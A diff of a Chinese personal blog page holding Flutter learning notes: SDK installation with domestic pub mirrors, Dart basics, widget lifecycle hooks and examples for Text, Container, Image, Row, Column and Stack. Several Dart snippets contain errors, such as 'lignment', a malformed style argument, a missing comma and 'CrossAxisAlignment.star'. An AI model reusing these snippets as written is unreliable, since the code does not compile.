EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),\n这4个值分别表示左，上，右，下\nmargin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),\ndecoration属性，用于定义背景，边框，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 decoration:new BoxDecoration( gradient:const LinearGradient( colors:[ Colors.red, // 红色到黑色的渐变 Colors.black, ] ), border:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3 ), ), Image组件，加载图片有4种方式，分别为：\nImage.asset 加载项目内图片（相对） Image.file 加载本地图片（绝对） Image.memory 加载Uint8List资源图片 Image.network 加载网络图片\n加载网络图片，例如：\nchild:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', ), 加载本地（或者项目）内图片，例如：\nchild:new Image.file( File(\"./1.jpg\") ) Image组件的ImageRepeat属性和fit属性\nImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器\n例子：\nchild:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器 fit: BoxFit.contain // 显示原比例图片 ), ImageRepeat.repeat: 横向和纵向重复，填满整个容器 ImageRepeat.repeatX: 横向重复，纵向不重复 ImageRepeat.repeatY：纵向重复，横向不重复\nBoxFit.fill: 图片拉伸，并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover：可能拉伸，裁切（图片填满整个容器，但是不变形） BoxFit.fitWidth：宽度充满（横向填满），图片可能拉伸，裁切 BoxFit.fitHeight ：高度充满（竖向填满）,图片可能拉伸，裁切 BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小\nRow组件：水平布局组件，该组件又分为灵活布局和非灵活布局\n灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况\n非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告\n例如：\nbody: Row( children: [ Expanded( flex: 1, child: Container( Colors.black, ), ), Expanded( flex: 2, child: Container( Colors.red, ), ), ] ) Column组件：垂直布局组件，例如：\nbody: Column( children: [ Text('hallo word'), Text('chenjunlinabc'), ], crossAxisAlignment: CrossAxisAlignment.start, mainAxisAlignment: MainAxisAlignment.center, ), CrossAxisAlignment.star：向左对齐 CrossAxisAlignment.end：向右对齐 CrossAxisAlignment.center：居中对齐\nRow和Column组件都存在主轴（main）和纵轴（Cross）\n主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，\n纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴\nStack组件\nStack( children: [ Container( width: 100, height: 100, color: Colors.red, ), Container( width: 50, height: 50, color: Colors.black, ), ], ), 可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式\n","wordCount":"405","inLanguage":"en","datePublished":"2022-03-22T12:00:00Z","dateModified":"2022-03-22T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/141/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Flutter框架学习笔记</h1><div class=post-meta><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Flutter%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用</p><p>闲鱼和Now直播，美团，快手都使用了Flutter</p><p>获取Flutter</p><p><a href=https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip>https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip</a></p><p>添加path环境变量</p><p>由于Flutter库是在google那，因此需要设置第三方可信镜像库</p><p>设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量</p><p>PUB_HOSTED_URL设置为https://pub.flutter-io.cn</p><p>FLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn</p><p>（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）</p><p>其他可信第三方镜像库：</p><p>腾讯云镜像</p><p>PUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub）
 FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）</p><p>清华大学镜像</p><p>PUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub）
-FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）</p><p>添加Flutter环境变量path，解压路径\flutter\bin</p><p>执行where.exe flutter dart，如果有反应，说明path环境配置完成</p><p>（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））</p><p>这里用Visual Studio Code的Flutter插件</p><p>创建第一个demo（项目名必须全小写，可用_下划线）</p><p>flutter create flutterdemo</p><p>启动项目（编译执行）</p><p>flutter run</p><hr><p>Dart是静态类型语言，它会在定义时绑定数据类型（var）</p><p>Dart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数</p><p>Dart库管理（pub.dev）,在pubspec.yaml添加库</p><p>实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）</p><p>Dart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）</p><p>Dart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束</p><hr><p>flutter项目下的lib/main.dart，class MyApp类下</p><p>修改为 home: const MyHomePage(title: &lsquo;Hallo word&rsquo;), // 当前title信息</p><p>在return Scaffold下的body: Center下的，修改为children: [const Text(&lsquo;Hallo word&rsquo;,),</p><p>运行后可以看到一个title以及内容都为Hallo word的app</p><p>flutter自带了可视化工具，Dart DevTools</p><p>自己写一个main.dart</p><pre><code>void main() =&gt; runApp(MyApp());
-class MyApp extends StatelessWidget{
-  @override
-  Widget build(BuildContext context){
-    return MaterialApp(
-      title: &quot;hallo word&quot;, // app的title
-      theme: ThemeData(
-          primarySwatch: Colors.orange, // 页面的主题颜色
-      )
-      home: Scaffold(
-        appBar: AppBar(
-          title: Text(&quot;hallo word&quot;), // 当前页面的title
-        ),
-        body: Center(
-          child: Text('hallo flutter'), // 当前页面的文本
-        ),
-      ),
-    );
-  }
-}
-</code></pre><p>flutter run</p><p>（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）</p><p>这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）</p><p>使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）</p><hr><p>flutter生命周期</p><p>flutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的</p><p>无状态组件的生命周期只有一个，build</p><p>有状态组件生命周期分别为</p><p>createState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 createState</p><p>initState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。</p><p>didChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发</p><p>build：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次</p><p>setState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子</p><p>reassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作</p><p>didUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子</p><p>deactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子</p><p>dispose：永久移除该组件，释放组件资源，一个组件的生命终点</p><p>在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好</p><p>注意：当动态组件更新时，将导致其子组件更新，导致性能问题</p><p>常见组件：</p><p>Text: 渲染文本组件</p><p>Image :图片显示组件</p><p>Icon : Icon库组件</p><p>AppBar：页面导航条组件</p><p>Row: 布局组件，使子元素在水平方横向布局</p><p>Column: 布局组件，使子元素在水平方向纵向布局</p><p>Container: 容器组件</p><p>Expanded：控制flex布局的占位（用在row或者column组件内部）</p><p>Stack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）</p><p>FadeInImage：加载时的占位组件</p><p>Padding：填充空白区域组件，和css的padding效果类似</p><p>ClipRRect：圆角组件，可将子组件处理成圆边角</p><p>Text组件，它有TextAlign属性，maxLines属性，overflow属性，style属性</p><p>TextAlign属性就是定义文本对齐方式的，例如：</p><pre><code>child:Text(
-    'hallo word',
-    textAlign:TextAlign.center,
-)
-</code></pre><p>left左，center居中，right右</p><p>maxLines属性是定义文本显示的最大行数数，例如：</p><pre><code>child:Text(
-    'hallo word',
-    textAlign:TextAlign.center,
-    maxLines: 1,
-)
-</code></pre><p>overflow属性是定义文本溢出时的处理方式，例如：</p><pre><code>child:Text(
-    'hallo word',
-    textAlign:TextAlign.center,
-    maxLines: 1,
-    overflow: TextOverflow.ellipsis,
-)
-</code></pre><p>注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：</p><pre><code>Container(
-    width: 10,
-    child: Text(
-        &quot;hallo wordhallo wordhallo wordhallo wordhallo wordhallo word&quot;,
-        textAlign: TextAlign.left,
-        overflow: TextOverflow.ellipsis,
-        maxLines: 1,
-    ),
-),
-</code></pre><p>style属性可以理解成Flutter组件的css（实质上效果都类似css），例如：</p><pre><code>child:Text(
-    'hallo word',
-    textAlign: TextAlign.center,
-    style: TextStyle(
-        fontSize: 20.0, // 字体大小20
-        color: Colors.red, // 字体颜色为红色
-        decoration: TextDecoration.underline, // 文本下划线
-    ),
-)
-</code></pre><p>Container组件，有Alignment属性，padding属性，margin属性和decoration属性</p><p>Container组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义</p><p>Alignment属性：该属性是定义Container组件的内容的对齐方式，例如：</p><pre><code>child:Container(
-    child:new Text('hallo word',style: color: Colors.red,),
-    lignment: Alignment.center,
-),
-</code></pre><p>该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter</p><p>padding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：</p><pre><code>child:Container(
-    child:new Text('hallo word',style: color: Colors.red,),
-    lignment: Alignment.center,
-    padding:const EdgeInsets.all(20.0), // 上下左右边距都为20
-),
-</code></pre><p>如果想单独设置，可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),</p><p>这4个值分别表示左，上，右，下</p><p>margin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),</p><p>decoration属性，用于定义背景，边框，例如：</p><pre><code>child:Container(
-    child:new Text('hallo word',style: color: Colors.red,),
-    lignment: Alignment.center,
-    padding:const EdgeInsets.all(20.0), // 上下左右边距都为20
-    decoration:new BoxDecoration(
-        gradient:const LinearGradient(
-            colors:[
-                Colors.red, // 红色到黑色的渐变
-                Colors.black,
-            ]
-        ),
-        border:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3
-    ),
-),
+FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）</p><p>添加Flutter环境变量path，解压路径\flutter\bin</p><p>执行where.exe flutter dart，如果有反应，说明path环境配置完成</p><p>（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））</p><p>这里用Visual Studio Code的Flutter插件</p><p>创建第一个demo（项目名必须全小写，可用_下划线）</p><p>flutter create flutterdemo</p><p>启动项目（编译执行）</p><p>flutter run</p><hr><p>Dart是静态类型语言，它会在定义时绑定数据类型（var）</p><p>Dart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数</p><p>Dart库管理（pub.dev）,在pubspec.yaml添加库</p><p>实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）</p><p>Dart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）</p><p>Dart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束</p><hr><p>flutter项目下的lib/main.dart，class MyApp类下</p><p>修改为 home: const MyHomePage(title: &lsquo;Hallo word&rsquo;), // 当前title信息</p><p>在return Scaffold下的body: Center下的，修改为children: [const Text(&lsquo;Hallo word&rsquo;,),</p><p>运行后可以看到一个title以及内容都为Hallo word的app</p><p>flutter自带了可视化工具，Dart DevTools</p><p>自己写一个main.dart</p><pre><code>void main() =&gt; runApp(MyApp());
+class MyApp extends StatelessWidget{
+  @override
+  Widget build(BuildContext context){
+    return MaterialApp(
+      title: &quot;hallo word&quot;, // app的title
+      theme: ThemeData(
+          primarySwatch: Colors.orange, // 页面的主题颜色
+      )
+      home: Scaffold(
+        appBar: AppBar(
+          title: Text(&quot;hallo word&quot;), // 当前页面的title
+        ),
+        body: Center(
+          child: Text('hallo flutter'), // 当前页面的文本
+        ),
+      ),
+    );
+  }
+}
+</code></pre><p>flutter run</p><p>（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）</p><p>这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）</p><p>使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）</p><hr><p>flutter生命周期</p><p>flutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的</p><p>无状态组件的生命周期只有一个，build</p><p>有状态组件生命周期分别为</p><p>createState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 createState</p><p>initState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。</p><p>didChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发</p><p>build：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次</p><p>setState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子</p><p>reassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作</p><p>didUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子</p><p>deactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子</p><p>dispose：永久移除该组件，释放组件资源，一个组件的生命终点</p><p>在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好</p><p>注意：当动态组件更新时，将导致其子组件更新，导致性能问题</p><p>常见组件：</p><p>Text: 渲染文本组件</p><p>Image :图片显示组件</p><p>Icon : Icon库组件</p><p>AppBar：页面导航条组件</p><p>Row: 布局组件，使子元素在水平方横向布局</p><p>Column: 布局组件，使子元素在水平方向纵向布局</p><p>Container: 容器组件</p><p>Expanded：控制flex布局的占位（用在row或者column组件内部）</p><p>Stack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）</p><p>FadeInImage：加载时的占位组件</p><p>Padding：填充空白区域组件，和css的padding效果类似</p><p>ClipRRect：圆角组件，可将子组件处理成圆边角</p><p>Text组件，它有TextAlign属性，maxLines属性，overflow属性，style属性</p><p>TextAlign属性就是定义文本对齐方式的，例如：</p><pre><code>child:Text(
+    'hallo word',
+    textAlign:TextAlign.center,
+)
+</code></pre><p>left左，center居中，right右</p><p>maxLines属性是定义文本显示的最大行数数，例如：</p><pre><code>child:Text(
+    'hallo word',
+    textAlign:TextAlign.center,
+    maxLines: 1,
+)
+</code></pre><p>overflow属性是定义文本溢出时的处理方式，例如：</p><pre><code>child:Text(
+    'hallo word',
+    textAlign:TextAlign.center,
+    maxLines: 1,
+    overflow: TextOverflow.ellipsis,
+)
+</code></pre><p>注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：</p><pre><code>Container(
+    width: 10,
+    child: Text(
+        &quot;hallo wordhallo wordhallo wordhallo wordhallo wordhallo word&quot;,
+        textAlign: TextAlign.left,
+        overflow: TextOverflow.ellipsis,
+        maxLines: 1,
+    ),
+),
+</code></pre><p>style属性可以理解成Flutter组件的css（实质上效果都类似css），例如：</p><pre><code>child:Text(
+    'hallo word',
+    textAlign: TextAlign.center,
+    style: TextStyle(
+        fontSize: 20.0, // 字体大小20
+        color: Colors.red, // 字体颜色为红色
+        decoration: TextDecoration.underline, // 文本下划线
+    ),
+)
+</code></pre><p>Container组件，有Alignment属性，padding属性，margin属性和decoration属性</p><p>Container组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义</p><p>Alignment属性：该属性是定义Container组件的内容的对齐方式，例如：</p><pre><code>child:Container(
+    child:new Text('hallo word',style: color: Colors.red,),
+    lignment: Alignment.center,
+),
+</code></pre><p>该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter</p><p>padding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：</p><pre><code>child:Container(
+    child:new Text('hallo word',style: color: Colors.red,),
+    lignment: Alignment.center,
+    padding:const EdgeInsets.all(20.0), // 上下左右边距都为20
+),
+</code></pre><p>如果想单独设置，可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),</p><p>这4个值分别表示左，上，右，下</p><p>margin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),</p><p>decoration属性，用于定义背景，边框，例如：</p><pre><code>child:Container(
+    child:new Text('hallo word',style: color: Colors.red,),
+    lignment: Alignment.center,
+    padding:const EdgeInsets.all(20.0), // 上下左右边距都为20
+    decoration:new BoxDecoration(
+        gradient:const LinearGradient(
+            colors:[
+                Colors.red, // 红色到黑色的渐变
+                Colors.black,
+            ]
+        ),
+        border:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3
+    ),
+),
 </code></pre><p>Image组件，加载图片有4种方式，分别为：</p><p>Image.asset 加载项目内图片（相对）
 Image.file 加载本地图片（绝对）
 Image.memory 加载Uint8List资源图片
-Image.network 加载网络图片</p><p>加载网络图片，例如：</p><pre><code>child:new Image.network(
-    'http://xiaochenabc123.test.com/1.jpg',
-),
-</code></pre><p>加载本地（或者项目）内图片，例如：</p><pre><code>child:new Image.file(
-    File(&quot;./1.jpg&quot;)
-)
-</code></pre><p>Image组件的ImageRepeat属性和fit属性</p><p>ImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器</p><p>例子：</p><pre><code>child:new Image.network(
-    'http://xiaochenabc123.test.com/1.jpg',
-    // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器
-    fit: BoxFit.contain // 显示原比例图片
-),
+Image.network 加载网络图片</p><p>加载网络图片，例如：</p><pre><code>child:new Image.network(
+    'http://xiaochenabc123.test.com/1.jpg',
+),
+</code></pre><p>加载本地（或者项目）内图片，例如：</p><pre><code>child:new Image.file(
+    File(&quot;./1.jpg&quot;)
+)
+</code></pre><p>Image组件的ImageRepeat属性和fit属性</p><p>ImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器</p><p>例子：</p><pre><code>child:new Image.network(
+    'http://xiaochenabc123.test.com/1.jpg',
+    // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器
+    fit: BoxFit.contain // 显示原比例图片
+),
 </code></pre><p>ImageRepeat.repeat: 横向和纵向重复，填满整个容器
 ImageRepeat.repeatX: 横向重复，纵向不重复
 ImageRepeat.repeatY：纵向重复，横向不重复</p><p>BoxFit.fill: 图片拉伸，并填满父容器。
@@ -203,48 +203,48 @@
 BoxFit.cover：可能拉伸，裁切（图片填满整个容器，但是不变形）
 BoxFit.fitWidth：宽度充满（横向填满），图片可能拉伸，裁切
 BoxFit.fitHeight ：高度充满（竖向填满）,图片可能拉伸，裁切
-BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小</p><p>Row组件：水平布局组件，该组件又分为灵活布局和非灵活布局</p><p>灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况</p><p>非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告</p><p>例如：</p><pre><code>body: Row(
-    children: &lt;Widget&gt;[
-        Expanded(
-            flex: 1,
-            child: Container(
-                Colors.black,
-            ),
-        ),
-        Expanded(
-            flex: 2,
-            child: Container(
-                Colors.red,
-            ),
-        ),
-    ]   
-)
-</code></pre><p>Column组件：垂直布局组件，例如：</p><pre><code>body: Column(
-    children: &lt;Widget&gt;[
-        Text('hallo word'),
-        Text('chenjunlinabc'),
-    ],
-    crossAxisAlignment: CrossAxisAlignment.start,
-    mainAxisAlignment: MainAxisAlignment.center,
-),
+BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小</p><p>Row组件：水平布局组件，该组件又分为灵活布局和非灵活布局</p><p>灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况</p><p>非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告</p><p>例如：</p><pre><code>body: Row(
+    children: &lt;Widget&gt;[
+        Expanded(
+            flex: 1,
+            child: Container(
+                Colors.black,
+            ),
+        ),
+        Expanded(
+            flex: 2,
+            child: Container(
+                Colors.red,
+            ),
+        ),
+    ]   
+)
+</code></pre><p>Column组件：垂直布局组件，例如：</p><pre><code>body: Column(
+    children: &lt;Widget&gt;[
+        Text('hallo word'),
+        Text('chenjunlinabc'),
+    ],
+    crossAxisAlignment: CrossAxisAlignment.start,
+    mainAxisAlignment: MainAxisAlignment.center,
+),
 </code></pre><p>CrossAxisAlignment.star：向左对齐
 CrossAxisAlignment.end：向右对齐
-CrossAxisAlignment.center：居中对齐</p><p>Row和Column组件都存在主轴（main）和纵轴（Cross）</p><p>主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，</p><p>纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴</p><p>Stack组件</p><pre><code>Stack(
-    children: &lt;Widget&gt;[
-        Container(
-            width: 100,
-            height: 100,
-            color: Colors.red,
-        ),
-        Container(
-            width: 50,
-            height: 50,
-            color: Colors.black,
-        ),
-    ],
-),
-</code></pre><p>可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/flutter/>Flutter</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/142/><span class=title>« Prev</span><br><span>Rust学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/140/><span class=title>Next »</span><br><span>browserslist的简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+CrossAxisAlignment.center：居中对齐</p><p>Row和Column组件都存在主轴（main）和纵轴（Cross）</p><p>主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，</p><p>纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴</p><p>Stack组件</p><pre><code>Stack(
+    children: &lt;Widget&gt;[
+        Container(
+            width: 100,
+            height: 100,
+            color: Colors.red,
+        ),
+        Container(
+            width: 50,
+            height: 50,
+            color: Colors.black,
+        ),
+    ],
+),
+</code></pre><p>可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/flutter/>Flutter</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/142/><span class=title>« Prev</span><br><span>Rust学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/140/><span class=title>Next »</span><br><span>browserslist的简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const 